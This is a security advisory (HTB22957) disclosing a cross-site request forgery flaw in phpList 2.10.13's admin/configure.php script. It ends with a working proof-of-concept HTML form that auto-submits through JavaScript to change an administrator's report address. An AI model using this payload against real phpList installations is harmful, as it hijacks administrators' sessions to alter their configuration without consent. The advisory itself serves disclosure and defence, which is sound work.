Vulnerability ID: HTB22957 Reference: http://www.htbridge.ch/advisory/xsrf_csrf_in_phplist.html Product: phpList Vendor: Tincan Ltd ( http://www.phplist.com/ ) Vulnerable Version: 2.10.13 and probably prior versions Vendor Notification: 12 April 2011 Vulnerability Type: CSRF (Cross-Site Request Forgery) Risk level: Low Credit: High-Tech Bridge SA Security Research Lab ( http://www.htbridge.ch/advisory/ ) Vulnerability Details: The vulnerability exists due to failure in the "admin/configure.php" script to properly verify the source of HTTP request. Successful exploitation of this vulnerability could result in a compromise of the application, theft of cookie-based authentication credentials, disclosure or modification of sensitive data. Attacker can use browser to exploit this vulnerability. The following PoC is available: <form action="http://host/admin/?page=configure&id=report_address"; method="post" name="main" enctype="multipart/form-data"> <input type="hidden" name="formtoken" value="123"> <input type="hidden" name="id" value="report_address"> <input type="hidden" name="values[report_address]" value="email@xxxxxxxxxxx"> <input type="hidden" name="save" value="1"> <input type="hidden" name="savebutton" value="Save changes"> </form> <script> document.main.submit(); </script>
